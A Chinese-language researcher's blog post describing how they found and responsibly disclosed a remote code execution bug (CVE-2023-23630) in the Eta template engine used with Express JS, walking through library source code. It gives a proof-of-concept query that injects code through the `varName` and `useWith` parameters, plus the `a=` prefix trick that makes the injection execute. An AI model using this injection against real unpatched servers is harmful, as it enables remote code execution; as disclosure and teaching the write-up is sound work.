AIS3 2022 最佳專題

AIS3 2022 最佳專題

Ching367436 Bamboofox 社長

今年在 AIS3 2022 研究了 Express JS template engine 一起使用會有的資安問題。最後找到了 EJS ZeroDay RCE、Eta ZeroDay RCE&XSS 以及一個已經有 CVE 的 Squirrelly ZeroDay RCE。我把我負責的 Eta ZeroDay RCE 回報給作者後,兩天內完成修補,取得 CVE-2023-23630 。隨後 CVE-2022-25967 security advisory 被發布,那其實是同個洞 / 類似的洞。我的漏洞報告在這裡

感謝當時的隊友 Entroy、Lillian 以及 hurosu 的幫忙。

專題

發現

在 AIS3 課程期間,隊友 Entroy 發現了 EJS ZeroDay RCE 的洞。 那是與 Cyku 大大在 AIS3 EOF 2020 Final 出的 echo2 相關的洞。Entroy 把他那題的 write-up 給我,我了解了那個洞的原理後,也開始來挖洞了!

原理及目標挑選

那個洞只要能跟 Express JS 配在一起的 template engine 都可能會有的,問題的根源就在於 Express JS 的 template engine API 的設計。

Express JS Template engine API

下方是 Express JS 的官方文件範例,第一個是 app.js:主程式,第二個是 views/index.ntl:template file。這個程式做的就是當使用者去訪問 / 的時候,會把 views/index.ntl render 起來傳回去。

我們要關注的是 :3 app.engine 的第 2 個參數,那就是要接上 Express JS 的 template engine 本體。可以知道 template engine 可以取得的資訊有 (filePath, options, callback)。接著我們來看一下真實世界的 template engine 是怎麼實作的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// app.js
const fs = require('fs') // this engine requires the fs module
app.engine('ntl', (filePath, options, callback) => { // define the template engine
fs.readFile(filePath, (err, content) => {
if (err) return callback(err)
// this is an extremely simple template engine
const rendered = content.toString()
.replace('#title#', `<title>${options.title}</title>`)
.replace('#message#', `<h1>${options.message}</h1>`)
return callback(null, rendered)
})
})
app.set('views', './views') // specify the views directory
app.set('view engine', 'ntl') // register the template engine

app.get('/', (req, res) => {
res.render('index', { title: 'Hey', message: 'Hello there!' })
})
1
2
3
<!-- views/index.ntl -->
#title#
#message#
真實世界的 template engine

來看看 Eta 及 EJS 跟 Express 接合處的 code。

Eta

看到 renderFile :8 的註解,Eta 的 renderFile 有 overload 成 (filename, dataAndOptions, cb)(filename, data, options, cb) 。而前者是特別做給 Express 用的(:10),吃的是 dataAndOptions所以 dataoptions 是被混在一起的。那是 Express 預設的行為,Express 會把對他的設定一起跟 data 放到 dataAndOptions 裡面。 data 很多情況下會是使用者可控的,而 options 則否,把他混在一起不就讓這兩個東西都很容易被一起控制嗎?

https://github.com/eta-dev/eta/blob/v1.14.2/src/file-handlers.ts#L186-L239

1
2
3
4
5
6
7
8
9
10
11
12
13
function renderFile(
filename: string,
data: DataObj,
config?: PartialConfig,
cb?: CallbackFn
): Promise<string> | void {
/*
Here we have some function overloading.
Essentially, the first 2 arguments to renderFile should always be the filename and data
However, with Express, configuration options will be passed along with the data.
Thus, Express will call renderFile with (filename, dataAndOptions, cb)
And we want to also make (filename, data, options, cb) available
*/
EJS

看到 :22,又是一個把 dataoptions 混在一起的,而那都是為了 Express 。

https://github.com/mde/ejs/blob/v3.1.9/lib/ejs.js#L441-L489

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
exports.renderFile = function () {
var args = Array.prototype.slice.call(arguments);
var filename = args.shift();
var cb;
var opts = {filename: filename};
var data;
var viewOpts;

// Do we have a callback?
if (typeof arguments[arguments.length - 1] == 'function') {
cb = args.pop();
}
// Do we have data/opts?
if (args.length) {
// Should always have data obj
data = args.shift();
// Normal passed opts (data obj + opts obj)
if (args.length) {
// Use shallowCopy so we don't pollute passed in opts obj with new vals
utils.shallowCopy(opts, args.pop());
}
// Special casing for Express (settings + opts-in-data)
else {
// Express 3 and 4
if (data.settings) {
// Pull a few things from known locations
// 略...
return tryHandleCache(opts, data, cb);
};

所以我們知道,很多 template engine 為了配合 Express,都會有同一種不安全的行為:讓 config 可能有機會被使用者控制。而 config 若被控制,就很有可能達到 REC,因為通常都會認為 config 是不應該被控制的,不會有太多防護機制。

所以我就直接到 Express template engines 這個官方的頁面去選目標,選到的就是 Eta 。

Eta code review

這邊我使用了 Github Security Lab 所說的常見的場景

這個程式只要使用者去訪問 /?favorite=Eta,就會傳回 <h1>My favorite template engine is Eta <br></h1>

1
2
3
4
5
6
7
// package.json
{
"dependencies": {
"eta": "^1.12.3",
"express": "^4.18.1"
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// app.js
const express = require('express')
const eta = require('eta')

app = express()
app.engine("eta", eta.renderFile)
app.set("view engine", "eta")
app.set("views", "./views")

app.all('/', (req, res) => {
res.render("index", req.query)
})

app.all('/app.js', (req, res) => {
res.setHeader('content-type', 'application/js');
res.sendFile(__filename)
})
1
2
3
<!-- views/index.eta -->
<h1>My favorite template engine is <%= it.favorite %> <br></h1>
<a href='app.js'>source</a>

renderFile

我們已經從上面知道 renderFile 是跟 Express 接在一起的接口,所以我們要從這裡開始看。這邊要知道 Express 會放下來這裡的參數是 (filePath, options, callback),會對應到 renderFile(filename, data, config),所以 Eta 會先做一些 overload 的處理。

看到 :29,47 是處理跟 Express 接合的部分,其中 :32 getConfig(data) 回傳的是一些設定值加上 data 的 deep clone,因為 data 可控(從 app.js:11 res.render("index", req.query) 過來的),所以 renderConfig 也可控。

然後看到 :52 tryHandleCache(data, renderConfig, callback)。記住使用者可控的東西有 data renderConfig,進入 tryHandleCache

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
// node_modules/eta/dist/eta.cjs:869
function renderFile(filename, data, config, cb) {
/*
Here we have some function overloading.
Essentially, the first 2 arguments to renderFile should always be the filename and data
However, with Express, configuration options will be passed along with the data.
Thus, Express will call renderFile with (filename, dataAndOptions, cb)
And we want to also make (filename, data, options, cb) available
*/
var renderConfig;
var callback;
data = data || {}; // If data is undefined, we don't want accessing data.settings to error
// First, assign our callback function to `callback`
// We can leave it undefined if neither parameter is a function;
// Callbacks are optional
if (typeof cb === 'function') {
// The 4th argument is the callback
callback = cb;
}
else if (typeof config === 'function') {
// The 3rd arg is the callback
callback = config;
}
// If there is a config object passed in explicitly, use it
if (typeof config === 'object') {
renderConfig = getConfig(config || {});
}
else {
// Otherwise, get the config from the data object
// And then grab some config options from data.settings
// Which is where Express sometimes stores them
renderConfig = getConfig(data);
if (data.settings) {
// Pull a few things from known locations
if (data.settings.views) {
renderConfig.views = data.settings.views;
}
if (data.settings['view cache']) {
renderConfig.cache = true;
}
// Undocumented after Express 2, but still usable, esp. for
// items that are unsafe to be passed along with data, like `root`
var viewOpts = data.settings['view options'];
if (viewOpts) {
copyProps(renderConfig, viewOpts);
}
}
}
// Set the filename option on the template
// This will first try to resolve the file path (see getPath for details)
renderConfig.filename = getPath(filename, renderConfig);
return tryHandleCache(data, renderConfig, callback);
}

tryHandleCache

看到 :6 會回傳 templateFn,然後 :7 在去執行他。所以 handleCache 會回傳的是一個 function,如果可以把 templateFn 控制成我們想要的形狀,:7 就會去執行到。所以我們跟進 handleCache(options)。記住 options 使用者可控。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// node_modules/eta/dist/eta.cjs:816
function tryHandleCache(data, options, cb) {
if (cb) {
try {
// Note: if there is an error while rendering the template,
// It will bubble up and be caught here
var templateFn = handleCache(options);
templateFn(data, options, cb);
}
catch (err) {
return cb(err);
}
}
else {
// No callback, try returning a promise
// 略...
}
}

handleCache

這邊注意 :3 他從 options 裡拿出了 filename,那是 template file 的位置,可能會覺得 filename 可控,但其實不行,因為 Express 會把他蓋掉。

繼續跟進 loadFile(filename, options)。記住 options 可控。

1
2
3
4
5
6
7
8
9
10
11
12
13
// node_modules/eta/dist/eta.cjs:795
function handleCache(options) {
var filename = options.filename;
if (options.cache) {
var func = options.templates.get(filename);
if (func) {
return func;
}
return loadFile(filename, options);
}
// Caching is disabled, so pass noCache = true
return loadFile(filename, options, true);
}

loadFile

看到 :10 的 return compiledTemplate,那就是上面 tryHandleCache 看到會被執行的 templateFn

跟進 :6 的 compile 看看我們可以怎麼控制他。記住使用者可控的有 config

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// node_modules/eta/dist/eta.cjs:771
function loadFile(filePath, options, noCache) {
var config = getConfig(options);
var template = readFile(filePath);
try {
var compiledTemplate = compile(template, config);
if (!noCache) {
config.templates.define(config.filename, compiledTemplate);
}
return compiledTemplate;
}
catch (e) {
throw EtaErr('Loading file: ' + filePath + ' failed:\n\n' + e.message);
}
}

compile

我們知道這個 compile 會回傳的是一個 function,看看他是怎麼造出 function 的。:9 他透過 ctor 來造出 function,ctor 可從 :9 知道他是 FunctiongetAsyncFunctionConstructor()Function 的用途是把字串變成 function,聽到就覺得危險。

跟進 :11 compileToString(str, options) 來看看我們可以怎麼去控制這個 function。記住使用者可控的有 options

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// node_modules/eta/dist/eta.cjs:588
function compile(str, config) {
var options = getConfig(config || {});
/* ASYNC HANDLING */
// The below code is modified from mde/ejs. All credit should go to them.
var ctor = options.async ? getAsyncFunctionConstructor() : Function;
/* END ASYNC HANDLING */
try {
return new ctor(options.varName, 'E', // EtaConfig
'cb', // optional callback
compileToString(str, options)); // eslint-disable-line no-new-func
}
catch (e) {
if (e instanceof SyntaxError) {
throw EtaErr('Bad template syntax\n\n' +
e.message +
'\n' +
Array(e.message.length + 1).join('=') +
'\n' +
compileToString(str, options) +
'\n' // This will put an extra newline before the callstack for extra readability
);
}
else {
throw e;
}
}
}

compileToString

看到這裡,我覺得 compileToString 太危險了。那個會被轉成 function 執行的字串竟然是用字串加法去處理的,那我就隨便找一段可控的字串去植入不就好了?

來看 :8,config.varName 是我們可控的字串,他只要 config.useWith 為真就會被接上去。來實際操作一次。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// node_modules/eta/dist/eta.cjs:389
function compileToString(str, config) {
var buffer = parse(str, config);
var res = "var tR='',__l,__lP" +
(config.include ? ',include=E.include.bind(E)' : '') +
(config.includeFile ? ',includeFile=E.includeFile.bind(E)' : '') +
'\nfunction layout(p,d){__l=p;__lP=d}\n' +
(config.useWith ? 'with(' + config.varName + '||{}){' : '') +
compileScope(buffer, config) +
(config.includeFile
? 'if(__l)tR=' +
(config.async ? 'await ' : '') +
("includeFile(__l,Object.assign(" + config.varName + ",{body:tR},__lP))\n")
: config.include
? 'if(__l)tR=' +
(config.async ? 'await ' : '') +
("include(__l,Object.assign(" + config.varName + ",{body:tR},__lP))\n")
: '') +
'if(cb){cb(null,tR)} return tR' +
(config.useWith ? '}' : '');
if (config.plugins) {
for (var i = 0; i < config.plugins.length; i++) {
var plugin = config.plugins[i];
if (plugin.processFnString) {
res = plugin.processFnString(res, config);
}
}
}
return res;
}

Payload1

把上面所說的東西實作,看看 compileToString 編譯出的 res 會長怎麼樣。

看到實際用字串加法做出來的字串 res 有我們的 console.log("Ching367436"),而且確定是在會被執行的地方,所以只要等他回傳到 tryHandleCache:8 就會被執行。結果在跑到那之前竟然就噴錯了。

1
2
# payload1
curl 'http://localhost/?useWith=1&varName=console.log("Ching367436")'
1
2
3
4
5
6
7
8
9
10
// res
var tR = '', __l, __lP, include = E.include.bind(E), includeFile = E.includeFile.bind(E)
function layout(p, d) { __l = p; __lP = d }
with (console.log("Ching367436") || {}) {
tR += '<h1>My favorite template engine is '
tR += E.e(it.favorite)
tR += ' <br></h1>\n<a href=\'app.js\'>source</a>\n'
if (__l) tR = includeFile(__l, Object.assign(console.log("Ching367436"), { body: tR }, __lP))
if (cb) { cb(null, tR) } return tR
}
Payload1 Error

看到了錯誤訊息有有三行,:1及 :3 的很明顯的是 Eta 原生的錯誤,:5 感覺不是,上網查了一下發現是 Function 丟的錯,回想一下剛剛追到的一個地方有 Function,那就是 compile,所以過去看看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Eta Error: Loading file: views/index.eta failed:

Bad template syntax

Arg string terminates parameters early
======================================
var tR='',__l,__lP,include=E.include.bind(E),includeFile=E.includeFile.bind(E)
function layout(p,d){__l=p;__lP=d}
with(console.log("Ching367436")||{}){tR+='<h1>My favorite template engine is '
tR+=E.e(it.favorite)
tR+=' <br></h1>\n<a href=\'app.js\'>source</a>\n'
if(__l)tR=includeFile(__l,Object.assign(console.log("Ching367436"),{body:tR},__lP))
if(cb){cb(null,tR)} return tR}

at EtaErr (node_modules/eta/dist/eta.cjs:57:15)
at loadFile (node_modules/eta/dist/eta.cjs:782:15)
at handleCache (node_modules/eta/dist/eta.cjs:805:12)
at tryHandleCache (node_modules/eta/dist/eta.cjs:821:30)
at View.renderFile [as engine] (node_modules/eta/dist/eta.cjs:919:12)
at View.render (node_modules/express/lib/view.js:135:8)
at tryRender (node_modules/express/lib/application.js:657:10)
at Function.render (node_modules/express/lib/application.js:609:3)
at ServerResponse.render (node_modules/express/lib/response.js:1039:7)
at app.js:12:9

compile revisit

看到 :9 的 ctor 的地方,第一個參數是 options.varName,然後那在我的 payload1 裡面被改成了 console.log("Ching367436")。來看看這樣為何會有錯。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// node_modules/eta/dist/eta.cjs:588
function compile(str, config) {
var options = getConfig(config || {});
/* ASYNC HANDLING */
// The below code is modified from mde/ejs. All credit should go to them.
var ctor = options.async ? getAsyncFunctionConstructor() : Function;
/* END ASYNC HANDLING */
try {
return new ctor(options.varName, 'E', // EtaConfig
'cb', // optional callback
compileToString(str, options)); // eslint-disable-line no-new-func
}
catch (e) {
if (e instanceof SyntaxError) {
throw EtaErr('Bad template syntax\n\n' +
e.message +
'\n' +
Array(e.message.length + 1).join('=') +
'\n' +
compileToString(str, options) +
'\n' // This will put an extra newline before the callstack for extra readability
);
}
else {
throw e;
}
}
}
ctor

上面的 ctor 相當於 Function,把我們的東西放進 Function 看看會發生什麼事。可以看到噴的錯誤訊息跟前面噴的 Arg string terminates parameters early 是一樣的。

1
Function('console.log("Ching367436")', 'cb', res)
1
2
// Error message
Uncaught SyntaxError: Arg string terminates parameters early
Function

來看看 Function 的各種用法。 Function 的最後一個參數放的是 function body,前面幾個參數是要給那個 function body 的參數,可以看到最後出來的結果會回傳一個從字串變成的 function。

1
Function('a, b', 'c', 'console.log(a, b, c)')
1
2
3
4
5
// output
ƒ anonymous(a, b,c
) {
console.log(a, b, c)
}

如果今天參數的部分被換成了不合理的值,像是下面這樣,就會噴出前面看到的錯。

1
Function('console.log(a, b, c)', 'c', 'console.log(a, b, c)')
1
2
// output
Uncaught SyntaxError: Arg string terminates parameters early

所以看到這邊,覺得控 options.varName 的路應該是沒辦法了,所以去找了其他可控的東西,可是也沒看到其他會被放進去的字串。所以在發表專題前就在這個裡面找了一個 ZeroDay XSS 跟已經有 CVE 的 Squirrelly ZeroDay RCE ,配上 Entroy 的 EJS ZeroDay RCE 。還是成功的拿下了最佳專題。

轉機

然後我的 payload1 其實只要 varName 的值前面加上 a=Function 那裡就不會噴錯了,因為 a=console.log(123) 是合理的參數。

這樣就可以執行到前面的 tryHandleCache:8templateFn(data, options, cb)templateFn 就是 ctor 所產出的 function,所以這樣就 RCE 了。

splitline

後續

事後要把 Eta ZeroDay RCE 回報給作者,所以查了一下作者,結果看到他跟 SquirrellyJS 是同個作者,然後兩個都有類似,甚至一模一樣的 RCE 的洞。

回報

回報的是 Github 上的洞,所以我先去看了 Eta 的 security policy ,然後是空的。感覺這個也不太適合直接發 issue,最後在作者網站的 Contact 那邊看到了聯絡管道,決定用寫信的來回報。

接著就要來寫漏洞報告了,想了一下要怎麼寫,想起之前 Cyku 大大回報的同個類型的。所以就照著把 proof of concept、detail、mitigation 三個部分寫了起來,最後寫出了這篇漏洞報告 。然後就寄給作者了。

隔了一天後 Eta 推出了 v2.0.0 ,Eta 發佈了 security advisory

然後收到了作者的回信。

Eta reply

又隔了兩天 Github 發給了這個洞 CVE-2023-23630

Github issued CVE

同一天出現了 CVE-2022-25967 security advisory 。所以可能有人已經回報過這個洞了。在回報這個洞之前,我已先查過了作者,他因為有事,兩年無法維護開源專案,而 CVE-2022-25967 正是那個期間的事情,所以可能才會被作者略過。我是挑在作者回來的時候回報的,所以作者馬上就修好這個洞了。

來看看他修補的 commit ,做的修改就是不再把 renderFiledata merge 進 renderConfig 裡面,所以 renderConfig 就變成了使用者不可控的東西,所以漏洞就確實被從根源修補好了。

Timeline

2023/01/26: 回報漏洞給作者。

2023/01/28: Eta 釋出 v2.0.0 修補了漏洞,發布 security advisory

2023/01/30: Github 發給了這個漏洞 CVE-2023-23630

2023/01/30: CVE-2022-25967 security advisory 被發布了。

2023/04/08: 我把漏洞報告 公開。

修補後的問題

作者把洞修補好之後,就有東西開始壞掉了。

2.0.0 breaks Express.js res.render views configuration 發生的原因在於 Eta 不會再從 Express 放下來的 data 去找 config 了。所以作者在文檔中把設定 template file 資料夾的的地方做了改動,也就是我畫起來的地方。來看看發生了什麼事。

Eta v2.0.0 release note

views

看到原本的 app.set("views", "./views") 被改成 eta.configure({ views: "./views", cache: true })。前者是設定了 Express 的 template file 的資料夾,不過到了 v2.0.0,Eta 不會再吃 Express 傳下來的這項資訊,所以作者要大家改成直接設定在 Eta 上面,Eta 才吃得到設定。可是這樣會變成 Express 那邊壞掉,因為 Express 也需要這項資訊。

1
2
3
4
5
// Change THIS:
var eta = require("eta")
app.set("view engine", "eta")
app.set("views", "./views")
app.set("view cache", true)
1
2
3
4
5
// To THIS:
var eta = require("eta")
eta.configure({ views: "./views", cache: true })
app.engine("eta", eta.renderFile)
app.set("view engine", "eta")

解決修補後的問題

作者提出了兩個解決方案

第一個方案是 Eta 再去從 Express 傳下來的東西去拿這項資訊,不過這被我否決了,因為這樣做在某些情況下會可以 RCE

第二個方案是叫使用者 Express 及 Eta 兩邊都設定一次同樣的東西,變成下面這樣。雖然比較麻煩,但這樣比較安全。我們最後決定採用這個,所以後來 v2.0.0 的 release note 更新成了現在的樣子。

我認為 Express 一開始在做 template engine 的接口時就該讓 data  config 分開,才不會造成現在那麼麻煩,以及引發這一類型問題。

1
2
3
4
5
6
7
// To THIS:
var eta = require("eta")
app.engine("eta", eta.renderFile)
eta.configure({ views: "./views", cache: true }) // configure eta
app.set("views", "./views") // configure Express
app.set("view cache", true) // configure Express
app.set("view engine", "eta")
  • Title: AIS3 2022 最佳專題
  • Author: Ching367436
  • Created at : 2023-04-08 15:40:39
  • Link: https://blog.ching367436.me/ais3-2022-最佳專題/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments